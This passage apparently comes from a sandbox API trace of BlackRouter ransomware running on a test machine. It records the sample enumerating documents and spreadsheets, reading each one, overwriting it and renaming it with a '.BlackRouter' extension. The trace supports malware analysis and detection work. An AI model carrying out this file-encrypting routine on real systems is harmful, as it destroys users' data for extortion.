hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.915] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.915] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.915] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.915] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.915] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0040.915] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 0 [0040.919] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0040.960] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\CcMvDeT9Jgh_AOb4ngG.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\ccmvdet9jgh_aob4ngg.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.960] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xa8ef [0040.960] ReadFile (in: hFile=0x258, lpBuffer=0x29e1a08, nNumberOfBytesToRead=0xa8ef, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x29e1a08*, lpNumberOfBytesRead=0x1ae5c8*=0xa8ef, lpOverlapped=0x0) returned 1 [0040.962] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\CcMvDeT9Jgh_AOb4ngG.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\ccmvdet9jgh_aob4ngg.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.965] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\CcMvDeT9Jgh_AOb4ngG.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\ccmvdet9jgh_aob4ngg.odt"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff29fd0, ftCreationTime.dwHighDateTime=0x1d45fe8, ftLastAccessTime.dwLowDateTime=0xfad32530, ftLastAccessTime.dwHighDateTime=0x1d45a42, ftLastWriteTime.dwLowDateTime=0xbeedc030, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa8f0)) returned 1 [0040.965] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\CcMvDeT9Jgh_AOb4ngG.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\ccmvdet9jgh_aob4ngg.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\CcMvDeT9Jgh_AOb4ngG.odt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\ccmvdet9jgh_aob4ngg.odt.blackrouter")) returned 1 [0040.969] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 1 [0040.969] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 1 [0040.969] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0040.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\4LIdhJ4Mw.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\4lidhj4mw.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.969] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xb2e3 [0040.969] ReadFile (in: hFile=0x258, lpBuffer=0x2a32a68, nNumberOfBytesToRead=0xb2e3, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x2a32a68*, lpNumberOfBytesRead=0x1ae5c8*=0xb2e3, lpOverlapped=0x0) returned 1 [0040.973] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\4LIdhJ4Mw.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\4lidhj4mw.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.975] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\4LIdhJ4Mw.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\4lidhj4mw.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9f7aec0, ftCreationTime.dwHighDateTime=0x1d465da, ftLastAccessTime.dwLowDateTime=0x93c612b0, ftLastAccessTime.dwHighDateTime=0x1d4642b, ftLastWriteTime.dwLowDateTime=0xbef02190, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb2f0)) returned 1 [0040.975] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\4LIdhJ4Mw.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\4lidhj4mw.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\4LIdhJ4Mw.xlsx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\4lidhj4mw.xlsx.blackrouter")) returned 1 [0040.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\80K0 t-8fcr6-.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\80k0 t-8fcr6-.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.976] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xf3d1 [0040.976] ReadFile (in: hFile=0x258, lpBuffer=0x2a49c78, nNumberOfBytesToRead=0xf3d1, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x2a49c78*, lpNumberOfBytesRead=0x1ae5c8*=0xf3d1, lpOverlapped=0x0) returned 1 [0040.979] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\80K0 t-8fcr6-.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\80k0 t-8fcr6-.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.982] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\80K0 t-8fcr6-.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\80k0 t-8fcr6-.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8befe0, ftCreationTime.dwHighDateTime=0x1d461fa, ftLastAccessTime.dwLowDateTime=0x5d484bb0, ftLastAccessTime.dwHighDateTime=0x1d45f92, ftLastWriteTime.dwLowDateTime=0xbef02190, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf3e0)) returned 1 [0040.982] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\80K0 t-8fcr6-.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\80k0 t-8fcr6-.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\80K0 t-8fcr6-.xlsx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\80k0 t-8fcr6-.xlsx.blackrouter")) returned 1 [0040.983] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\iocukbdo_b7ytLik88Yf.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\iocukbdo_b7ytlik88yf.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.983] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x14bc8 [0040.983] ReadFile (in: hFile=0x258, lpBuffer=0x2a690b0, nNumberOfBytesToRead=0x14bc8, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x2a690b0*, lpNumberOfBytesRead=0x1ae5c8*=0x14bc8, lpOverlapped=0x0) returned 1 [0040.987] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\iocukbdo_b7ytLik88Yf.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\iocukbdo_b7ytlik88yf.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.999] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\iocukbdo_b7ytLik88Yf.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\iocukbdo_b7ytlik88yf.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da90810, ftCreationTime.dwHighDateTime=0x1d4562a, ftLastAccessTime.dwLowDateTime=0x3bf63c40, ftLastAccessTime.dwHighDateTime=0x1d46502, ftLastWriteTime.dwLowDateTime=0xbef282f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x14bd0)) returned 1 [0041.000] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\iocukbdo_b7ytLik88Yf.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\iocukbdo_b7ytlik88yf.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\iocukbdo_b7ytLik88Yf.xlsx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\iocukbdo_b7ytlik88yf.xlsx.blackrouter")) returned 1 [0041.000] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 1 [0041.000] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0041.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\cyChrgOFbbD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\cychrgofbbd.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.000] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x43d3 [0041.001] ReadFile (in: hFile=0x258, lpBuffer=0x2a94220, nNumberOfBytesToRead=0x43d3, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x2a94220*, lpNumberOfBytesRead=0x1ae5c8*=0x43d3, lpOverlapped=0x0) returned 1 [0041.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\cyChrgOFbbD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\cychrgofbbd.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.007] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\cyChrgOFbbD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\cychrgofbbd.xls"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe95d5c60, ftCreationTime.dwHighDateTime=0x1d45f71, ftLastAccessTime.dwLowDateTime=0x357bdfe0, ftLastAccessTime.dwHighDateTime=0x1d45f9a, ftLastWriteTime.dwLowDateTime=0xbef4e450, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x43e0)) returned 1 [0041.007] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\cyChrgOFbbD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\cychrgofbbd.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\cyChrgOFbbD.xls.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\cychrgofbbd.xls.blackrouter")) returned 1 [0041.008] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\kJpR_sdA.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\kjpr_sda.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.008] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x6d43 [0041.008] ReadFile (in: hFile=0x258, lpBuffer=0x2a9d5f8, nNumberOfBytesToRead=0x6d43, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x2a9d5f8*, lpNumberOfBytesRead=0x1ae5c8*=0x6d43, lpOverlapped=0x0) returned 1 [0041.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\kJpR_sdA.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\kjpr_sda.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.012] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\kJpR_sdA.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\kjpr_sda.xls"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x425640a0, ftCreationTime.dwHighDateTime=0x1d46258, ftLastAccessTime.dwLowDateTime=0x1a4a4590, ftLastAccessTime.dwHighDateTime=0x1d457b1, ftLastWriteTime.dwLowDateTime=0xbef4e450, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6d50)) returned 1 [0041.012] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\kJpR_sdA.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\kjpr_sda.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\kJpR_sdA.xls.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\g2a4\\kjpr_sda.xls.blackrouter")) returned 1 [0041.020] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.021] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.022] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\G2A4\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.022] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.023] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.023] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.023] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.023] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.023] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.023] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.023] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.023] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0041.024] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0041.024] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\iJxoRKVKIBE0z.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\ijxorkvkibe0z.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.025] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xe764 [0041.025] ReadFile (in: hFile=0x258, lpBuffer=0x290fb28, nNumberOfBytesToRead=0xe764, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x290fb28*, lpNumberOfBytesRead=0x1ae5c8*=0xe764, lpOverlapped=0x0) returned 1 [0041.028] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\iJxoRKVKIBE0z.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\ijxorkvkibe0z.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.031] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\iJxoRKVKIBE0z.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\ijxorkvkibe0z.odp"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bc1e20, ftCreationTime.dwHighDateTime=0x1d45ecf, ftLastAccessTime.dwLowDateTime=0x61cc00e0, ftLastAccessTime.dwHighDateTime=0x1d461c8, ftLastWriteTime.dwLowDateTime=0xbef745b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xe770)) returned 1 [0041.031] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\iJxoRKVKIBE0z.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\ijxorkvkibe0z.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\iJxoRKVKIBE0z.odp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\ijxorkvkibe0z.odp.blackrouter")) returned 1 [0041.034] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 1 [0041.034] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0041.034] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\e5twKh6.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\e5twkh6.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.035] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x12ec7 [0041.035] ReadFile (in: hFile=0x258, lpBuffer=0x295a790, nNumberOfBytesToRead=0x12ec7, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x295a790*, lpNumberOfBytesRead=0x1ae5c8*=0x12ec7, lpOverlapped=0x0) returned 1 [0041.039] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\e5twKh6.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\e5twkh6.pps"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.042] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\e5twKh6.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\e5twkh6.pps"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b0fc40, ftCreationTime.dwHighDateTime=0x1d4576e, ftLastAccessTime.dwLowDateTime=0xb4b81460, ftLastAccessTime.dwHighDateTime=0x1d46006, ftLastWriteTime.dwLowDateTime=0xbef9a710, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x12ed0)) returned 1 [0041.042] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\e5twKh6.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\e5twkh6.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\e5twKh6.pps.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\e5twkh6.pps.blackrouter")) returned 1 [0041.043] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\mtM9260pBVgN ALlz6n.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\mtm9260pbvgn allz6n.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.043] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x174c1 [0041.043] ReadFile (in: hFile=0x258, lpBuffer=0x14c86a00, nNumberOfBytesToRead=0x174c1, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x14c86a00*, lpNumberOfBytesRead=0x1ae5c8*=0x174c1, lpOverlapped=0x0) returned 1 [0041.062] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\mtM9260pBVgN ALlz6n.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\mtm9260pbvgn allz6n.pps"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.066] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\mtM9260pBVgN ALlz6n.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\mtm9260pbvgn allz6n.pps"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc23633d0, ftCreationTime.dwHighDateTime=0x1d4560e, ftLastAccessTime.dwLowDateTime=0xadd61090, ftLastAccessTime.dwHighDateTime=0x1d464e6, ftLastWriteTime.dwLowDateTime=0xbefe69d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x174d0)) returned 1 [0041.066] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\mtM9260pBVgN ALlz6n.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\rmgfwn\\mtm9260pbvgn allz6n.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\rMgfwn\\mtM9260pBVgN ALlz6n.pps.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js 